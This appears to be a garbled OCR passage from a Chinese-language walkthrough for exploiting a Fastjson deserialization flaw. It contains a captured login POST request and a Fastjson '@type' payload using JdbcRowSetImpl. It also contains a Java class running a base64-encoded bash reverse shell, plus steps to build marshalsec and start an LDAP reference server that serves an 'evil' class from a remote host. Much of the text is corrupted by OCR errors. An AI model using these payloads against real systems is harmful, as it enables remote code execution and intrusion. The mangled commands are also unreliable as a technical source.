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| Raw | Params | Headers | Hex |

[POST Juser/lonin.da ATTR/L.1]
Host: wm B =

User=Agent: Mozilla/ /5.0 ([(Macintosh; Intel Mac 05 X lﬂ_lﬁalh

|AppleWebXit /517,36 (KHTML, like Gecko) Chrome/B1.0.4044.138
Calmwri TE3%F FE

Content=-Type: application/i=www=form=urlencoded; charset=UTF=8
(Accept: application/json, text/javascript, */*; q=0.01

[Accept-Encuc.ig: gzip, deflate
Accapt=-Language: zh-CH,zh:g=0.9
(Cookie: JSESSIONID=ABCISTBE

|{"userId®:"221333", "password":"2222", "code":"g5a2bdl"}
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{"name":{"\u0040\u0074\u0079\u0070\u0065":"\uO06a\uP061\ud0d76\ud061\u002e¢
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TERM=linux
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IAVA_HOME=/sserjavalinel 50_13

previms=M
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public class exec{

public static void main(String[] args) throws Exception {

Runtime.getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvXLEE23UwLjY4LzI

qiE BRERTHSZL.

bash -c {echo, YmFzaCAtaSA+JiAvXLEE23UwLjY4Lzk50TUgMD4mMQ==}|{base64,-d}|
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T&Eihik: https://github.com/mbechler/marshalsec
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yum install —y maven

)i EmarshalsecBF FfEBAmaven# 1T &,

mvn clean package -DskipTests,

7F I W 0 -

java —cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer

ZiE: http://xx.xx.xx.xx:53/#evil2 2 JavaZXWitttt, XERESZFEH, FE
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{"name":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"]}
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